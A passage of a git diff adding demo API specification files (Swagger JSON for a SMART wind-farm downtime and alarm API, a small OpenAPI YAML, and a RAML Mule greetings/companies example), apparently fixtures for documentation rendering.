+ "description": "The downtime event start time",
+ "required": true,
+ "type": "string",
+ "format": "date-time"
+ }
+ ],
+ "responses": {
+ "200": {
+ "description": "Success",
+ "schema": {
+ "uniqueItems": false,
+ "type": "array",
+ "items": {
+ "$ref": "#/definitions/Alarm"
+ }
+ }
+ }
+ }
+ }
+ },
+ "/api/v1/downtime/site/{site-api-key}": {
+ "get": {
+ "tags": [
+ "Downtime"
+ ],
+ "summary": "Get a list of downtime events for a site that overlap with a time period",
+ "operationId": "GetSite",
+ "consumes": [],
+ "produces": [
+ "text/plain",
+ "application/json",
+ "text/json"
+ ],
+ "parameters": [
+ {
+ "name": "site-api-key",
+ "in": "path",
+ "description": "The SMART API key of the site",
+ "required": true,
+ "type": "string"
+ },
+ {
+ "name": "from",
+ "in": "query",
+ "description": "The inclusive start of the time period. A date without a time is converted to the start of the day",
+ "required": true,
+ "type": "string",
+ "format": "date-time"
+ },
+ {
+ "name": "to",
+ "in": "query",
+ "description": "The exclusive end of the time period. A date without a time is converted to the start of the day",
+ "required": true,
+ "type": "string",
+ "format": "date-time"
+ }
+ ],
+ "responses": {
+ "200": {
+ "description": "Success",
+ "schema": {
+ "uniqueItems": false,
+ "type": "array",
+ "items": {
+ "$ref": "#/definitions/DowntimeEvent"
+ }
+ }
+ }
+ }
+ }
+ },
+ "/api/v1/downtime/object/{scada-object-key}": {
+ "get": {
+ "tags": [
+ "Downtime"
+ ],
+ "summary": "Get a list of downtime events for a SCADA object that overlap with a time period",
+ "operationId": "GetObject",
+ "consumes": [],
+ "produces": [
+ "text/plain",
+ "application/json",
+ "text/json"
+ ],
+ "parameters": [
+ {
+ "name": "scada-object-key",
+ "in": "path",
+ "description": "The SMART API key of the object",
+ "required": true,
+ "type": "string"
+ },
+ {
+ "name": "from",
+ "in": "query",
+ "description": "The inclusive start of the time period. A date without a time is converted to the start of the day",
+ "required": true,
+ "type": "string",
+ "format": "date-time"
+ },
+ {
+ "name": "to",
+ "in": "query",
+ "description": "The exclusive end of the time period. A date without a time is converted to the start of the day",
+ "required": true,
+ "type": "string",
+ "format": "date-time"
+ }
+ ],
+ "responses": {
+ "200": {
+ "description": "Success",
+ "schema": {
+ "uniqueItems": false,
+ "type": "array",
+ "items": {
+ "$ref": "#/definitions/DowntimeEvent"
+ }
+ }
+ }
+ }
+ }
+ },
+ "/api/v1/downtime/{site-api-key}/type/{scada-object-type}": {
+ "get": {
+ "tags": [
+ "Downtime"
+ ],
+ "summary": "Get a list of downtime events for all SCADA objects of a single type at one site that overlap with the selected time period",
+ "operationId": "GetType",
+ "consumes": [],
+ "produces": [
+ "text/plain",
+ "application/json",
+ "text/json"
+ ],
+ "parameters": [
+ {
+ "name": "site-api-key",
+ "in": "path",
+ "description": "The SMART API key of the site",
+ "required": true,
+ "type": "string"
+ },
+ {
+ "name": "scada-object-type",
+ "in": "path",
+ "description": "The SCADA object type",
+ "required": true,
+ "type": "string"
+ },
+ {
+ "name": "from",
+ "in": "query",
+ "description": "The inclusive start of the time period. A date without a time is converted to the start of the day",
+ "required": true,
+ "type": "string",
+ "format": "date-time"
+ },
+ {
+ "name": "to",
+ "in": "query",
+ "description": "The exclusive end of the time period. A date without a time is converted to the start of the day",
+ "required": true,
+ "type": "string",
+ "format": "date-time"
+ }
+ ],
+ "responses": {
+ "200": {
+ "description": "Success",
+ "schema": {
+ "uniqueItems": false,
+ "type": "array",
+ "items": {
+ "$ref": "#/definitions/DowntimeEvent"
+ }
+ }
+ }
+ }
+ }
+ },
+ "/api/v1/downtime": {
+ "put": {
+ "tags": [
+ "Downtime"
+ ],
+ "summary": "Update a downtime event",
+ "operationId": "Put",
+ "consumes": [
+ "application/json-patch+json",
+ "application/json",
+ "text/json",
+ "application/*+json"
+ ],
+ "produces": [],
+ "parameters": [
+ {
+ "name": "downtimeEvent",
+ "in": "body",
+ "description": "The downtime event to update",
+ "required": false,
+ "schema": {
+ "$ref": "#/definitions/EditableDowntimeEvent"
+ }
+ }
+ ],
+ "responses": {
+ "200": {
+ "description": "Success"
+ }
+ }
+ },
+ "post": {
+ "tags": [
+ "Downtime"
+ ],
+ "summary": "Create a new downtime event",
+ "operationId": "Post",
+ "consumes": [
+ "application/json-patch+json",
+ "application/json",
+ "text/json",
+ "application/*+json"
+ ],
+ "produces": [],
+ "parameters": [
+ {
+ "name": "downtimeEvent",
+ "in": "body",
+ "description": "The new downtime event",
+ "required": false,
+ "schema": {
+ "$ref": "#/definitions/EditableDowntimeEvent"
+ }
+ }
+ ],
+ "responses": {
+ "200": {
+ "description": "Success"
+ }
+ }
+ }
+ },
+ "/api/v1/downtime/revert/{scada-object-key}": {
+ "put": {
+ "tags": [
+ "Downtime"
+ ],
+ "summary": "Revert changes to a previously split downtime event",
+ "operationId": "Revert",
+ "consumes": [],
+ "produces": [
+ "text/plain",
+ "application/json",
+ "text/json"
+ ],
+ "parameters": [
+ {
+ "name": "scada-object-key",
+ "in": "path",
+ "description": "The SMART API key of the downtime event's SCADA object",
+ "required": true,
+ "type": "string"
+ },
+ {
+ "name": "time-on",
+ "in": "query",
+ "description": "The start time of the downtime event. A date without a time is converted to the start of the day",
+ "required": true,
+ "type": "string",
+ "format": "date-time"
+ }
+ ],
+ "responses": {
+ "200": {
+ "description": "Success",
+ "schema": {
+ "$ref": "#/definitions/DowntimeEvent"
+ }
+ }
+ }
+ }
+ },
+ "/api/v1/downtime/split/{scada-object-key}": {
+ "put": {
+ "tags": [
+ "Downtime"
+ ],
+ "summary": "Split a downtime event",
+ "operationId": "Split",
+ "consumes": [],
+ "produces": [],
+ "parameters": [
+ {
+ "name": "scada-object-key",
+ "in": "path",
+ "description": "The SMART API key of the downtime event's SCADA object",
+ "required": true,
+ "type": "string"
+ },
+ {
+ "name": "time-on",
+ "in": "query",
+ "description": "The start time of the downtime event. A date without a time is converted to the start of the day",
+ "required": true,
+ "type": "string",
+ "format": "date-time"
+ },
+ {
+ "name": "split-time",
+ "in": "query",
+ "description": "The time to split. A date without a time is converted to the start of the day",
+ "required": true,
+ "type": "string",
+ "format": "date-time"
+ }
+ ],
+ "responses": {
+ "200": {
+ "description": "Success"
+ }
+ }
+ }
+ },
+ "/api/v1/downtime/copy/{scada-object-key}": {
+ "put": {
+ "tags": [
+ "Downtime"
+ ],
+ "summary": "Copy the properties of a downtime event to a list of downtime events.",
+ "description": "The following properties are copied:\r\nAlarmGroup\r\nAlarmDefinition\r\nAvailabilityIndicator\r\nDescription",
+ "operationId": "Copy",
+ "consumes": [
+ "application/json-patch+json",
+ "application/json",
+ "text/json",
+ "application/*+json"
+ ],
+ "produces": [],
+ "parameters": [
+ {
+ "name": "scada-object-key",
+ "in": "path",
+ "description": "The SMART API key of the downtime event's SCADA object",
+ "required": true,
+ "type": "string"
+ },
+ {
+ "name": "time-on",
+ "in": "query",
+ "description": "The start time of the downtime event",
+ "required": true,
+ "type": "string",
+ "format": "date-time"
+ },
+ {
+ "name": "downtimeEvents",
+ "in": "body",
+ "description": "Create or update these downtime events",
+ "required": false,
+ "schema": {
+ "uniqueItems": false,
+ "type": "array",
+ "items": {
+ "$ref": "#/definitions/DowntimeEventKey"
+ }
+ }
+ }
+ ],
+ "responses": {
+ "200": {
+ "description": "Success"
+ }
+ }
+ }
+ },
+ "/api/v1/group": {
+ "get": {
+ "tags": [
+ "Group"
+ ],
+ "summary": "Get a list of all alarm groups",
+ "operationId": "GetAlarmGroups",
+ "consumes": [],
+ "produces": [
+ "text/plain",
+ "application/json",
+ "text/json"
+ ],
+ "parameters": [],
+ "responses": {
+ "200": {
+ "description": "Success",
+ "schema": {
+ "uniqueItems": false,
+ "type": "array",
+ "items": {
+ "$ref": "#/definitions/AlarmGroup"
+ }
+ }
+ }
+ }
+ }
+ },
+ "/api/v1/object/{site-api-key}/{scada-object-type}": {
+ "get": {
+ "tags": [
+ "Object"
+ ],
+ "summary": "Get a list of SCADA objects of a single type at one site that can have Downtimes",
+ "operationId": "GetObjects",
+ "consumes": [],
+ "produces": [
+ "text/plain",
+ "application/json",
+ "text/json"
+ ],
+ "parameters": [
+ {
+ "name": "site-api-key",
+ "in": "path",
+ "description": "The SMART API key of the site",
+ "required": true,
+ "type": "string"
+ },
+ {
+ "name": "scada-object-type",
+ "in": "path",
+ "description": "The SCADA object type",
+ "required": true,
+ "type": "string"
+ }
+ ],
+ "responses": {
+ "200": {
+ "description": "Success",
+ "schema": {
+ "uniqueItems": false,
+ "type": "array",
+ "items": {
+ "$ref": "#/definitions/ScadaObject"
+ }
+ }
+ }
+ }
+ }
+ },
+ "/api/v1/objecttype/{site-api-key}": {
+ "get": {
+ "tags": [
+ "ObjectType"
+ ],
+ "summary": "Get a list of types of the SCADA objects at one site that can have Downtimes",
+ "operationId": "GetTypes",
+ "consumes": [],
+ "produces": [
+ "text/plain",
+ "application/json",
+ "text/json"
+ ],
+ "parameters": [
+ {
+ "name": "site-api-key",
+ "in": "path",
+ "description": "The SMART API key of the site",
+ "required": true,
+ "type": "string"
+ }
+ ],
+ "responses": {
+ "200": {
+ "description": "Success",
+ "schema": {
+ "uniqueItems": false,
+ "type": "array",
+ "items": {
+ "type": "string"
+ }
+ }
+ }
+ }
+ }
+ },
+ "/api/v1/penalising-status": {
+ "get": {
+ "tags": [
+ "PenalisingStatus"
+ ],
+ "summary": "Get a list of all penalising status",
+ "operationId": "GetPenalisingStatus",
+ "consumes": [],
+ "produces": [
+ "text/plain",
+ "application/json",
+ "text/json"
+ ],
+ "parameters": [],
+ "responses": {
+ "200": {
+ "description": "Success",
+ "schema": {
+ "uniqueItems": false,
+ "type": "array",
+ "items": {
+ "$ref": "#/definitions/AvailabilityIndicator"
+ }
+ }
+ }
+ }
+ }
+ }
+ },
+ "definitions": {
+ "Alarm": {
+ "type": "object",
+ "properties": {
+ "timeOn": {
+ "format": "date-time",
+ "type": "string"
+ },
+ "timeOff": {
+ "format": "date-time",
+ "type": "string"
+ },
+ "description": {
+ "type": "string"
+ },
+ "parameter1": {
+ "type": "string"
+ },
+ "parameter2": {
+ "type": "string"
+ },
+ "comment": {
+ "type": "string"
+ }
+ }
+ },
+ "DowntimeEvent": {
+ "type": "object",
+ "properties": {
+ "alarmCode": {
+ "type": "string"
+ },
+ "siteKey": {
+ "type": "string"
+ },
+ "description": {
+ "type": "string"
+ },
+ "lostProduction": {
+ "format": "double",
+ "type": "number"
+ },
+ "meanWindSpeed": {
+ "format": "double",
+ "type": "number"
+ },
+ "windSpeedDataCoverage": {
+ "format": "double",
+ "type": "number"
+ },
+ "edited": {
+ "type": "boolean"
+ },
+ "canBeReverted": {
+ "type": "boolean"
+ },
+ "timeOff": {
+ "format": "date-time",
+ "type": "string"
+ },
+ "comment": {
+ "type": "string"
+ },
+ "subGroup": {
+ "type": "string"
+ },
+ "group": {
+ "type": "string"
+ },
+ "penalisingStatus": {
+ "type": "string"
+ },
+ "scadaObjectName": {
+ "type": "string"
+ },
+ "scadaObjectKey": {
+ "type": "string"
+ },
+ "timeOn": {
+ "format": "date-time",
+ "type": "string"
+ }
+ }
+ },
+ "EditableDowntimeEvent": {
+ "type": "object",
+ "properties": {
+ "timeOff": {
+ "format": "date-time",
+ "type": "string"
+ },
+ "comment": {
+ "type": "string"
+ },
+ "subGroup": {
+ "type": "string"
+ },
+ "group": {
+ "type": "string"
+ },
+ "penalisingStatus": {
+ "type": "string"
+ },
+ "scadaObjectName": {
+ "type": "string"
+ },
+ "scadaObjectKey": {
+ "type": "string"
+ },
+ "timeOn": {
+ "format": "date-time",
+ "type": "string"
+ }
+ }
+ },
+ "DowntimeEventKey": {
+ "type": "object",
+ "properties": {
+ "scadaObjectKey": {
+ "type": "string"
+ },
+ "timeOn": {
+ "format": "date-time",
+ "type": "string"
+ }
+ }
+ },
+ "AlarmGroup": {
+ "type": "object",
+ "properties": {
+ "turbineBudget": {
+ "type": "boolean"
+ },
+ "windfarmBudget": {
+ "type": "boolean"
+ },
+ "operationalAvailability": {
+ "type": "boolean"
+ },
+ "name": {
+ "type": "string"
+ },
+ "technology": {
+ "$ref": "#/definitions/SiteTechnology"
+ },
+ "subGroups": {
+ "uniqueItems": false,
+ "type": "array",
+ "items": {
+ "$ref": "#/definitions/AlarmSubGroup"
+ }
+ }
+ }
+ },
+ "SiteTechnology": {
+ "type": "object",
+ "properties": {
+ "name": {
+ "type": "string"
+ }
+ }
+ },
+ "AlarmSubGroup": {
+ "type": "object",
+ "properties": {
+ "name": {
+ "type": "string"
+ }
+ }
+ },
+ "ScadaObject": {
+ "type": "object",
+ "properties": {
+ "apiKey": {
+ "type": "string"
+ },
+ "name": {
+ "type": "string"
+ }
+ }
+ },
+ "AvailabilityIndicator": {
+ "type": "object",
+ "properties": {
+ "name": {
+ "type": "string"
+ }
+ }
+ }
+ }
+}
diff --git a/demo/apis/SE-12959/SE-12959.json b/demo/apis/SE-12959/SE-12959.json
new file mode 100644
index 0000000..a2f7bcb
--- /dev/null
+++ b/demo/apis/SE-12959/SE-12959.json
@@ -0,0 +1,741 @@
+{
+ "swagger": "2.0",
+ "info": {
+ "version": "v1",
+ "title": "SMART Downtime API Example4",
+ "description": "Rendering of the \"summary\" field in the operation documentation. Jira: summary field for an 'Operation Object' does not appear in Design Center and these summaries are not published to Exchange",
+ "contact": {
+ "name": "SMART Support",
+ "email": "smartsupport@res-group.com"
+ }
+ },
+ "paths": {
+ "/api/v1/alarm/{scada-object-key}": {
+ "get": {
+ "tags": [
+ "Alarm"
+ ],
+ "description": "Get a list of alarms for a single downtime event.",
+ "operationId": "GetList",
+ "consumes": [],
+ "produces": [
+ "text/plain",
+ "application/json",
+ "text/json"
+ ],
+ "parameters": [
+ {
+ "name": "scada-object-key",
+ "in": "path",
+ "description": "The key identifies the SCADA object",
+ "required": true,
+ "type": "string"
+ },
+ {
+ "name": "time-on",
+ "in": "query",
+ "description": "The downtime event start time",
+ "required": true,
+ "type": "string",
+ "format": "date-time"
+ }
+ ],
+ "responses": {
+ "200": {
+ "description": "Success",
+ "schema": {
+ "uniqueItems": false,
+ "type": "array",
+ "items": {
+ "$ref": "#/definitions/Alarm"
+ }
+ }
+ }
+ }
+ }
+ },
+ "/api/v1/downtime/site/{site-api-key}": {
+ "get": {
+ "tags": [
+ "Downtime"
+ ],
+ "summary": "Get a list of downtime events for a site that overlap with a time period",
+ "operationId": "GetSite",
+ "consumes": [],
+ "produces": [
+ "text/plain",
+ "application/json",
+ "text/json"
+ ],
+ "parameters": [
+ {
+ "name": "site-api-key",
+ "in": "path",
+ "description": "The SMART API key of the site",
+ "required": true,
+ "type": "string"
+ },
+ {
+ "name": "from",
+ "in": "query",
+ "description": "The inclusive start of the time period. A date without a time is converted to the start of the day",
+ "required": true,
+ "type": "string",
+ "format": "date-time"
+ },
+ {
+ "name": "to",
+ "in": "query",
+ "description": "The exclusive end of the time period. A date without a time is converted to the start of the day",
+ "required": true,
+ "type": "string",
+ "format": "date-time"
+ }
+ ],
+ "responses": {
+ "200": {
+ "description": "Success",
+ "schema": {
+ "uniqueItems": false,
+ "type": "array",
+ "items": {
+ "$ref": "#/definitions/DowntimeEvent"
+ }
+ }
+ }
+ }
+ }
+ },
+ "/api/v1/downtime/object/{scada-object-key}": {
+ "get": {
+ "tags": [
+ "Downtime"
+ ],
+ "summary": "Get a list of downtime events for a SCADA object that overlap with a time period",
+ "operationId": "GetObject",
+ "consumes": [],
+ "produces": [
+ "text/plain",
+ "application/json",
+ "text/json"
+ ],
+ "parameters": [
+ {
+ "name": "scada-object-key",
+ "in": "path",
+ "description": "The SMART API key of the object",
+ "required": true,
+ "type": "string"
+ },
+ {
+ "name": "from",
+ "in": "query",
+ "description": "The inclusive start of the time period. A date without a time is converted to the start of the day",
+ "required": true,
+ "type": "string",
+ "format": "date-time"
+ },
+ {
+ "name": "to",
+ "in": "query",
+ "description": "The exclusive end of the time period. A date without a time is converted to the start of the day",
+ "required": true,
+ "type": "string",
+ "format": "date-time"
+ }
+ ],
+ "responses": {
+ "200": {
+ "description": "Success",
+ "schema": {
+ "uniqueItems": false,
+ "type": "array",
+ "items": {
+ "$ref": "#/definitions/DowntimeEvent"
+ }
+ }
+ }
+ }
+ }
+ },
+ "/api/v1/downtime/{site-api-key}/type/{scada-object-type}": {
+ "get": {
+ "tags": [
+ "Downtime"
+ ],
+ "summary": "Get a list of downtime events for all SCADA objects of a single type at one site that overlap with the selected time period",
+ "operationId": "GetType",
+ "consumes": [],
+ "produces": [
+ "text/plain",
+ "application/json",
+ "text/json"
+ ],
+ "parameters": [
+ {
+ "name": "site-api-key",
+ "in": "path",
+ "description": "The SMART API key of the site",
+ "required": true,
+ "type": "string"
+ },
+ {
+ "name": "scada-object-type",
+ "in": "path",
+ "description": "The SCADA object type",
+ "required": true,
+ "type": "string"
+ },
+ {
+ "name": "from",
+ "in": "query",
+ "description": "The inclusive start of the time period. A date without a time is converted to the start of the day",
+ "required": true,
+ "type": "string",
+ "format": "date-time"
+ },
+ {
+ "name": "to",
+ "in": "query",
+ "description": "The exclusive end of the time period. A date without a time is converted to the start of the day",
+ "required": true,
+ "type": "string",
+ "format": "date-time"
+ }
+ ],
+ "responses": {
+ "200": {
+ "description": "Success",
+ "schema": {
+ "uniqueItems": false,
+ "type": "array",
+ "items": {
+ "$ref": "#/definitions/DowntimeEvent"
+ }
+ }
+ }
+ }
+ }
+ },
+ "/api/v1/downtime": {
+ "put": {
+ "tags": [
+ "Downtime"
+ ],
+ "summary": "Update a downtime event",
+ "operationId": "Put",
+ "consumes": [
+ "application/json-patch+json",
+ "application/json",
+ "text/json",
+ "application/*+json"
+ ],
+ "produces": [],
+ "parameters": [
+ {
+ "name": "downtimeEvent",
+ "in": "body",
+ "description": "The downtime event to update",
+ "required": false,
+ "schema": {
+ "$ref": "#/definitions/EditableDowntimeEvent"
+ }
+ }
+ ],
+ "responses": {
+ "200": {
+ "description": "Success"
+ }
+ }
+ },
+ "post": {
+ "tags": [
+ "Downtime"
+ ],
+ "summary": "Create a new downtime event",
+ "operationId": "Post",
+ "consumes": [
+ "application/json-patch+json",
+ "application/json",
+ "text/json",
+ "application/*+json"
+ ],
+ "produces": [],
+ "parameters": [
+ {
+ "name": "downtimeEvent",
+ "in": "body",
+ "description": "The new downtime event",
+ "required": false,
+ "schema": {
+ "$ref": "#/definitions/EditableDowntimeEvent"
+ }
+ }
+ ],
+ "responses": {
+ "200": {
+ "description": "Success"
+ }
+ }
+ }
+ },
+ "/api/v1/downtime/revert/{scada-object-key}": {
+ "put": {
+ "tags": [
+ "Downtime"
+ ],
+ "summary": "Revert changes to a previously split downtime event",
+ "operationId": "Revert",
+ "consumes": [],
+ "produces": [
+ "text/plain",
+ "application/json",
+ "text/json"
+ ],
+ "parameters": [
+ {
+ "name": "scada-object-key",
+ "in": "path",
+ "description": "The SMART API key of the downtime event's SCADA object",
+ "required": true,
+ "type": "string"
+ },
+ {
+ "name": "time-on",
+ "in": "query",
+ "description": "The start time of the downtime event. A date without a time is converted to the start of the day",
+ "required": true,
+ "type": "string",
+ "format": "date-time"
+ }
+ ],
+ "responses": {
+ "200": {
+ "description": "Success",
+ "schema": {
+ "$ref": "#/definitions/DowntimeEvent"
+ }
+ }
+ }
+ }
+ },
+ "/api/v1/downtime/split/{scada-object-key}": {
+ "put": {
+ "tags": [
+ "Downtime"
+ ],
+ "summary": "Split a downtime event",
+ "operationId": "Split",
+ "consumes": [],
+ "produces": [],
+ "parameters": [
+ {
+ "name": "scada-object-key",
+ "in": "path",
+ "description": "The SMART API key of the downtime event's SCADA object",
+ "required": true,
+ "type": "string"
+ },
+ {
+ "name": "time-on",
+ "in": "query",
+ "description": "The start time of the downtime event. A date without a time is converted to the start of the day",
+ "required": true,
+ "type": "string",
+ "format": "date-time"
+ },
+ {
+ "name": "split-time",
+ "in": "query",
+ "description": "The time to split. A date without a time is converted to the start of the day",
+ "required": true,
+ "type": "string",
+ "format": "date-time"
+ }
+ ],
+ "responses": {
+ "200": {
+ "description": "Success"
+ }
+ }
+ }
+ },
+ "/api/v1/downtime/copy/{scada-object-key}": {
+ "put": {
+ "tags": [
+ "Downtime"
+ ],
+ "summary": "Copy the properties of a downtime event to a list of downtime events.",
+ "description": "The following properties are copied:\r\nAlarmGroup\r\nAlarmDefinition\r\nAvailabilityIndicator\r\nDescription",
+ "operationId": "Copy",
+ "consumes": [
+ "application/json-patch+json",
+ "application/json",
+ "text/json",
+ "application/*+json"
+ ],
+ "produces": [],
+ "parameters": [
+ {
+ "name": "scada-object-key",
+ "in": "path",
+ "description": "The SMART API key of the downtime event's SCADA object",
+ "required": true,
+ "type": "string"
+ },
+ {
+ "name": "time-on",
+ "in": "query",
+ "description": "The start time of the downtime event",
+ "required": true,
+ "type": "string",
+ "format": "date-time"
+ },
+ {
+ "name": "downtimeEvents",
+ "in": "body",
+ "description": "Create or update these downtime events",
+ "required": false,
+ "schema": {
+ "uniqueItems": false,
+ "type": "array",
+ "items": {
+ "$ref": "#/definitions/DowntimeEventKey"
+ }
+ }
+ }
+ ],
+ "responses": {
+ "200": {
+ "description": "Success"
+ }
+ }
+ }
+ },
+ "/api/v1/group": {
+ "get": {
+ "tags": [
+ "Group"
+ ],
+ "summary": "Get a list of all alarm groups",
+ "operationId": "GetAlarmGroups",
+ "consumes": [],
+ "produces": [
+ "text/plain",
+ "application/json",
+ "text/json"
+ ],
+ "parameters": [],
+ "responses": {
+ "200": {
+ "description": "Success",
+ "schema": {
+ "uniqueItems": false,
+ "type": "array",
+ "items": {
+ "$ref": "#/definitions/AlarmGroup"
+ }
+ }
+ }
+ }
+ }
+ },
+ "/api/v1/object/{site-api-key}/{scada-object-type}": {
+ "get": {
+ "tags": [
+ "Object"
+ ],
+ "summary": "Get a list of SCADA objects of a single type at one site that can have Downtimes",
+ "operationId": "GetObjects",
+ "consumes": [],
+ "produces": [
+ "text/plain",
+ "application/json",
+ "text/json"
+ ],
+ "parameters": [
+ {
+ "name": "site-api-key",
+ "in": "path",
+ "description": "The SMART API key of the site",
+ "required": true,
+ "type": "string"
+ },
+ {
+ "name": "scada-object-type",
+ "in": "path",
+ "description": "The SCADA object type",
+ "required": true,
+ "type": "string"
+ }
+ ],
+ "responses": {
+ "200": {
+ "description": "Success",
+ "schema": {
+ "uniqueItems": false,
+ "type": "array",
+ "items": {
+ "$ref": "#/definitions/ScadaObject"
+ }
+ }
+ }
+ }
+ }
+ },
+ "/api/v1/objecttype/{site-api-key}": {
+ "get": {
+ "tags": [
+ "ObjectType"
+ ],
+ "summary": "Get a list of types of the SCADA objects at one site that can have Downtimes",
+ "operationId": "GetTypes",
+ "consumes": [],
+ "produces": [
+ "text/plain",
+ "application/json",
+ "text/json"
+ ],
+ "parameters": [
+ {
+ "name": "site-api-key",
+ "in": "path",
+ "description": "The SMART API key of the site",
+ "required": true,
+ "type": "string"
+ }
+ ],
+ "responses": {
+ "200": {
+ "description": "Success",
+ "schema": {
+ "uniqueItems": false,
+ "type": "array",
+ "items": {
+ "type": "string"
+ }
+ }
+ }
+ }
+ }
+ },
+ "/api/v1/penalising-status": {
+ "get": {
+ "tags": [
+ "PenalisingStatus"
+ ],
+ "summary": "Get a list of all penalising status",
+ "operationId": "GetPenalisingStatus",
+ "consumes": [],
+ "produces": [
+ "text/plain",
+ "application/json",
+ "text/json"
+ ],
+ "parameters": [],
+ "responses": {
+ "200": {
+ "description": "Success",
+ "schema": {
+ "uniqueItems": false,
+ "type": "array",
+ "items": {
+ "$ref": "#/definitions/AvailabilityIndicator"
+ }
+ }
+ }
+ }
+ }
+ }
+ },
+ "definitions": {
+ "Alarm": {
+ "type": "object",
+ "properties": {
+ "timeOn": {
+ "format": "date-time",
+ "type": "string"
+ },
+ "timeOff": {
+ "format": "date-time",
+ "type": "string"
+ },
+ "description": {
+ "type": "string"
+ },
+ "parameter1": {
+ "type": "string"
+ },
+ "parameter2": {
+ "type": "string"
+ },
+ "comment": {
+ "type": "string"
+ }
+ }
+ },
+ "DowntimeEvent": {
+ "type": "object",
+ "properties": {
+ "alarmCode": {
+ "type": "string"
+ },
+ "siteKey": {
+ "type": "string"
+ },
+ "description": {
+ "type": "string"
+ },
+ "lostProduction": {
+ "format": "double",
+ "type": "number"
+ },
+ "meanWindSpeed": {
+ "format": "double",
+ "type": "number"
+ },
+ "windSpeedDataCoverage": {
+ "format": "double",
+ "type": "number"
+ },
+ "edited": {
+ "type": "boolean"
+ },
+ "canBeReverted": {
+ "type": "boolean"
+ },
+ "timeOff": {
+ "format": "date-time",
+ "type": "string"
+ },
+ "comment": {
+ "type": "string"
+ },
+ "subGroup": {
+ "type": "string"
+ },
+ "group": {
+ "type": "string"
+ },
+ "penalisingStatus": {
+ "type": "string"
+ },
+ "scadaObjectName": {
+ "type": "string"
+ },
+ "scadaObjectKey": {
+ "type": "string"
+ },
+ "timeOn": {
+ "format": "date-time",
+ "type": "string"
+ }
+ }
+ },
+ "EditableDowntimeEvent": {
+ "type": "object",
+ "properties": {
+ "timeOff": {
+ "format": "date-time",
+ "type": "string"
+ },
+ "comment": {
+ "type": "string"
+ },
+ "subGroup": {
+ "type": "string"
+ },
+ "group": {
+ "type": "string"
+ },
+ "penalisingStatus": {
+ "type": "string"
+ },
+ "scadaObjectName": {
+ "type": "string"
+ },
+ "scadaObjectKey": {
+ "type": "string"
+ },
+ "timeOn": {
+ "format": "date-time",
+ "type": "string"
+ }
+ }
+ },
+ "DowntimeEventKey": {
+ "type": "object",
+ "properties": {
+ "scadaObjectKey": {
+ "type": "string"
+ },
+ "timeOn": {
+ "format": "date-time",
+ "type": "string"
+ }
+ }
+ },
+ "AlarmGroup": {
+ "type": "object",
+ "properties": {
+ "turbineBudget": {
+ "type": "boolean"
+ },
+ "windfarmBudget": {
+ "type": "boolean"
+ },
+ "operationalAvailability": {
+ "type": "boolean"
+ },
+ "name": {
+ "type": "string"
+ },
+ "technology": {
+ "$ref": "#/definitions/SiteTechnology"
+ },
+ "subGroups": {
+ "uniqueItems": false,
+ "type": "array",
+ "items": {
+ "$ref": "#/definitions/AlarmSubGroup"
+ }
+ }
+ }
+ },
+ "SiteTechnology": {
+ "type": "object",
+ "properties": {
+ "name": {
+ "type": "string"
+ }
+ }
+ },
+ "AlarmSubGroup": {
+ "type": "object",
+ "properties": {
+ "name": {
+ "type": "string"
+ }
+ }
+ },
+ "ScadaObject": {
+ "type": "object",
+ "properties": {
+ "apiKey": {
+ "type": "string"
+ },
+ "name": {
+ "type": "string"
+ }
+ }
+ },
+ "AvailabilityIndicator": {
+ "type": "object",
+ "properties": {
+ "name": {
+ "type": "string"
+ }
+ }
+ }
+ }
+}
diff --git a/demo/apis/SE-17897/SE-17897.yaml b/demo/apis/SE-17897/SE-17897.yaml
new file mode 100755
index 0000000..6f27395
--- /dev/null
+++ b/demo/apis/SE-17897/SE-17897.yaml
@@ -0,0 +1,21 @@
+openapi: '3.0.2'
+info:
+ title: 'SE-17897'
+ version: 1.0.0
+
+paths:
+ /default:
+ post:
+ parameters:
+ - in: query
+ name: conversationId
+ required: false
+ description: >
+ The ConversationId uniquely identifies the message sent from the sender to the receiver.
+ schema:
+ type: string
+ format: uuid
+ example: '242ab55c-de2b-4822-a411-945e85882b60'
+ responses:
+ '201':
+ description: Created
diff --git a/demo/apis/SE-19500/SE-19500.raml b/demo/apis/SE-19500/SE-19500.raml
new file mode 100755
index 0000000..ccb18e9
--- /dev/null
+++ b/demo/apis/SE-19500/SE-19500.raml
@@ -0,0 +1,95 @@
+#%RAML 1.0
+title: canda-mule4-example
+documentation:
+ - title: Home
+ content: !include docs/home.md
+version: api
+baseUri: https://mule-worker-internal-canda-mule4-example-deve.de-c1.cloudhub.io:33443/api
+
+uses:
+ candaCommons: modules/canada-commons/canda-commons.raml
+ myTypes: modules/canda-mule4-example-data-types/api.raml
+
+securedBy: [candaCommons.basicAuth]
+
+types:
+ Companies: !include ref/companies-schema.json
+
+/greetings:
+ description: The greetings resource contains only a simple message. The message text might be customized by passing a query parameter.
+ is: [ candaCommons.client-id-required ]
+ get:
+ description: Answers a collection of three simple greetings.
+ responses:
+ 200:
+ body:
+ application/json:
+ example: !include modules/canda-mule4-example-data-types/examples/greetings-example.json
+ type: myTypes.greetings
+ 204:
+ description: The response does not contain any content.
+ put:
+ description: Creates a representation of a simple greeting message. This is a pseudo operation, the API does not store the representation in any way.
+ body:
+ application/json:
+ examples:
+ example1: !include modules/canda-mule4-example-data-types/examples/greeting-example.json
+ type: myTypes.greeting
+ responses:
+ 201:
+ body:
+ application/json:
+ example: !include modules/canda-mule4-example-data-types/examples/greeting-example.json
+ type: myTypes.greeting
+ /{name}:
+ description: Responds with a greeting a for the given 'name'.
+ is: [ candaCommons.client-id-required ]
+ uriParameters:
+ name:
+ type: string
+ example: "mike"
+ get:
+ description: Answers a greeting representation for the given 'name'.
+ queryParameters:
+ message:
+ displayName: message
+ type: string
+ description: Pass a message which should be used by the response.
+ required: false
+ example: "Hi, Dude"
+ responses:
+ 200:
+ body:
+ application/json:
+ example: !include modules/canda-mule4-example-data-types/examples/greeting-example.json
+ type: myTypes.greeting
+/companies:
+ description: The companies resource is probably the most simple representation of a C&A company.
+ is: [ candaCommons.client-id-required ]
+ get:
+ description: Answers a collection (1..n) of all available Companies with their basic attributes.
+ responses:
+ 200:
+ body:
+ application/json:
+ example: !include ref/companies-example.json
+ type: !include ref/companies-schema.json
+ 204:
+ description: The response does not contain any content.
+ post:
+ description: Add a new company
+ body:
+ application/json:
+ examples:
+ example1: !include ref/companies-example.json
+ type: Companies
+ responses:
+ 201:
+ description: Created
+
+/logLevels/{loggerName}:
+ type: candaCommons.logLevel
+ is: [ candaCommons.client-id-required ]
+/ping:
+ type: candaCommons.ping
+ is: [ candaCommons.client-id-required ]
